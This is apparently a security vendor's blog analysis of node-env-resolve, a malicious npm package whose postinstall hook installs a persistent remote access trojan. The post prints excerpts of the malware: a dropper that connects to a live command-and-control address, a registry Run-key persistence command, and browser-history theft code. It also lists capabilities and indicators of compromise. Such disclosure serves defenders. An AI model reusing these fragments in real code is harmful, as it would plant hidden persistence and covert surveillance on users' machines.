node-env-resolve: npm Package Installs a Full RAT
Table of Contents
TL;DR
node-env-resolve is a malicious npm package that ships a full remote access trojan (RAT) disguised as a “lightweight environment configuration resolver.” Running npm install node-env-resolve copies a persistent agent to a hidden directory, registers it as an autostart service, and connects to a command-and-control server at hxxp://152.67.0.53:8471. From there, a remote operator gets live screen streaming, microphone and system audio capture, full mouse and keyboard control, browser history access, and arbitrary file read/write on the victim machine. The dependency set matches the OtterCookie RAT toolkit, documented across multiple North Korean Contagious Interview campaign packages.
What the Package Claims to Be
The package.json description reads “Lightweight environment configuration resolver for Node.js.” The actual source files tell a different story: audioCapture.js, browserHistory.js, screenCapture.js, sleepPreventer.js, inputHandler.js. There is no environment resolution logic anywhere in the package.
Maintainer user0001 ([email protected]) published 10 versions over 8 days (April 25 to May 2, 2026), with 1,293 downloads recorded in the last 30 days. The same account also published connector-agent, node-gyp-runtime, centralogger, node-fetch-lite, and dom-utils-lite. The C2 IP was a localhost placeholder in versions 1.0.0 and 1.0.1, then switched to the live address 152.67.0.53:8471 from version 1.0.2 onward.
The Dropper: postinstall.js
The postinstall hook fires automatically on install. It copies the full agent into a hidden directory named after the legitimate node-gyp toolchain, installs dependencies there silently, registers platform-specific persistence, then immediately starts the agent:
const SERVER_URL = 'http://152.67.0.53:8471';const AGENT_NAME = 'node-gyp-cache';
const INSTALL_DIR = isWin ? path.join(process.env.APPDATA, AGENT_NAME) // %APPDATA%\node-gyp-cache : path.join(homeDir, '.node-gyp-cache'); // ~/.node-gyp-cache
// Copies src/, writes env.config.js with live C2 IP, runs npm install --production --silent// Then registers autostart and spawns the agent detachedOn Windows, persistence goes into the registry Run key via a hidden VBScript launcher:
execSync( `reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /t REG_SZ /d "wscript.exe \\"${vbsPath}\\"" /f`, { windowsHide: true, stdio: 'ignore' });If that fails, the fallback drops ConnectorService.vbs into %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup.
On macOS, it writes ~/Library/LaunchAgents/com.user.connector.plist with KeepAlive: true. On Linux, it writes ~/.config/autostart/connector.desktop. All three paths require no elevated privileges.
The Payload: What the Agent Does
The agent (src/index.js) connects to hxxp://152.67.0.53:8471/agent via Socket.IO with infinite reconnection (2s to 30s exponential backoff). On connection, it registers the machine with a stable 12-character fingerprint:
const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);socket.emit('agent:register', { machineId: MACHINE_ID, ...systemInfo });// systemInfo: hostname, username, os, ip, platform, cpus, totalMemory, uptimeThe operator then drives the agent through socket events. The full capability set:
| Event | Action |
|---|---|
screen:start | JPEG-compressed screenshots at up to 4 FPS, streamed as base64 |
mouse:move/click/scroll | Full mouse control via @nut-tree-fork/nut-js |
keyboard:type/key/combo | Full keyboard input injection |
audio:start | Microphone or system audio via ffmpeg, streamed as raw PCM |
history:request | Chrome, Edge, Firefox SQLite history databases (copies locked DB to temp first) |
files:list/read/download | Browse filesystem, read text files up to 500KB, download binaries up to 10MB |
file:write/delete | Remote file write and delete within user profile |
folder:zip | Zip and exfiltrate entire folders up to 50MB |
file:upload | Push arbitrary files from operator to victim |
agent:kill | Remove all persistence entries and exit |
The sleep preventer runs on startup and stays active for the session’s duration. On Windows it runs a hidden PowerShell loop that refreshes the cursor position every 30 seconds. On macOS it calls caffeinate -dimsu. On Linux it calls systemd-inhibit. The intent is uninterrupted screen access during a remote session.
Browser history extraction bypasses file locking by copying the SQLite database to a temp path before querying it:
function copyToTemp(sourcePath, browserName) { const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`); fs.copyFileSync(sourcePath, tempPath); // also copies WAL file if present return tempPath;}This works against Chrome, Edge, and Firefox profiles without the browser needing to be closed.
Toolkit Attribution: OtterCookie Fingerprint
The six runtime dependencies in node-env-resolve form a documented fingerprint. Researchers tracking the Contagious Interview campaign (North Korea’s DPRK/Lazarus-linked operation targeting developers via fake job interviews) have identified this exact combination as the OtterCookie RAT toolkit:
| Dependency | Role | OtterCookie match |
|---|---|---|
socket.io-client | C2 transport | yes |
screenshot-desktop | Screen capture | yes |
sharp | Image compression for streaming | yes |
@nut-tree-fork/nut-js | Mouse and keyboard control | yes (documented as newer-variant addition) |
better-sqlite3 | Browser history via SQLite | yes |
node-machine-id | Stable device fingerprint | yes |
SafeDep’s earlier analysis of express-session-js, a confirmed Contagious Interview package, found the same toolkit connecting to a different C2 at 216.126.237.71. The April 2026 DPRK campaign wave documented by The Hacker News explicitly names @nut-tree-fork/nut-js as a capability upgrade in newer OtterCookie variants, enabling full remote desktop interaction beyond the basic screenshot-and-clipboard theft seen in earlier versions.
The C2 address 152.67.0.53:8471 does not appear in any published Contagious Interview IOC list. The 152.67.x.x block belongs to Oracle Cloud APAC. Documented campaign infrastructure has leaned on RouterHosting (AS14956), Vercel deployments, and Pastebin-based staging. Whether this is infrastructure rotation by the same operators or a criminal actor reusing the published toolkit is not conclusive from static analysis alone. The toolkit match is exact; attribution to DPRK specifically is assessed with moderate confidence.
node-env-resolve adds microphone and system audio capture and a remote self-uninstall command (agent:kill) that do not appear in documented OtterCookie writeups, suggesting active development beyond the baseline campaign tooling.
Indicators of Compromise
Packages (malicious from v1.0.2):
node-env-resolveversions 1.0.2 through 1.0.9
Related packages (same maintainer user0001):
connector-agent,node-gyp-runtime,centralogger,node-fetch-lite,dom-utils-lite
C2:
hxxp://152[.]67[.]0[.]53:8471(Socket.IO, namespace/agent)
Filesystem:
| Platform | Path |
|---|---|
| Windows | %APPDATA%\node-gyp-cache\ |
| Windows | %APPDATA%\node-gyp-cache\launcher.vbs |
| Windows (fallback) | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ConnectorService.vbs |
| macOS | ~/.node-gyp-cache/ |
| macOS | ~/Library/LaunchAgents/com.user.connector.plist |
| Linux | ~/.node-gyp-cache/ |
| Linux | ~/.config/autostart/connector.desktop |
| All (temp) | <tmpdir>/connector_{chrome,edge,firefox}_history_copy.db |
Registry (Windows):
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\node-gyp-cache
Maintainer:
- npm username:
user0001 - Email:
[email protected]
Verdict
node-env-resolve is a purpose-built RAT delivery vehicle with no legitimate functionality. Any version from 1.0.2 onward installs persistent remote access on the developer’s machine. The toolkit is a direct match for the OtterCookie family tied to North Korea’s Contagious Interview campaign. The package remains active on the npm registry at time of writing.
Related:
- npm
- oss
- malware
- supply-chain
- rat
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

common-tg-service: 502 npm Versions Hijack Telegram
common-tg-service ships 502 npm versions of a Telegram account-takeover framework with hardcoded 2FA credentials, IMAP-based code harvesting, and forced session eviction. Its companion package...

PyTorch Lightning Compromised: Shai-Hulud Worm Reaches PyPI
PyPI yanked PyTorch Lightning versions 2.6.2 and 2.6.3 after both embedded a two-stage credential-stealing payload. Any import of the library spawns an 11MB obfuscated JavaScript worm identical to...

exiouss: Cookie Stealer Bundled in npm Exam Cheat
exiouss on npm is the latest package from the loltestpad campaign — the same attacker who published the ixpresso-core Windows RAT in April. It bundles a dormant ChatGPT cookie stealer alongside an AI...

Mini Shai Hulud and SAP Compromise
Four SAP npm packages published on April 29, 2026 contain a two-stage credential-stealing payload targeting GitHub tokens, AWS keys, and CI/CD pipelines. The packages share SAP-affiliated...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
